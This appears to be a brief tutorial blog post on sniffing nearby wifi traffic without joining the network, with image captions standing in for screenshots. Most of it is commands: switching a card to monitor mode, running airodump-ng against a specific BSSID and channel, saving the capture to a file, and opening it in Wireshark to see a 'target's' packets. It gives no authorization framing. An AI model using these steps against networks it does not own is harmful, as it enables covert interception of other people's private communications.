Network Hacking - Packet sniffing

In this section we are descussing about how to get the data sending nearby wifi networks without connecting to the wifi.
For this first you need to change your wifi mode in to monitor mode. Follow the below steps.
iwconfig

network hacking wifi mode changing 1

Here you can see the Mode:Managed.
we want to change that into Mode:Monitor
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

network hacking wifi mode changing 2

Now run the following command to see the wifi networks around you.
airodump-ng wlan0

network hacking wifi monitoring
Press ctrl+c to stop the process. then type the following command
airodump-ng --bssid 6C:59:76:00:9E:DC --channel 10 --write jtechsinfo wlan0
(channel means the CH in the above picture)

network hacking packet sniffing
wifi cracking packet sniffing

Now the packets are sniffed to the file jtechsinfo.cap.
network hacking packet sniffing

Now run wireshark.
network hacking packet sniffing



network hacking packet sniffing

Now open the jetechsinfo.cap file
File->Open
network hacking packet sniffing


network hacking packet sniffing


Here you can see all the packet sent and recieved by our target.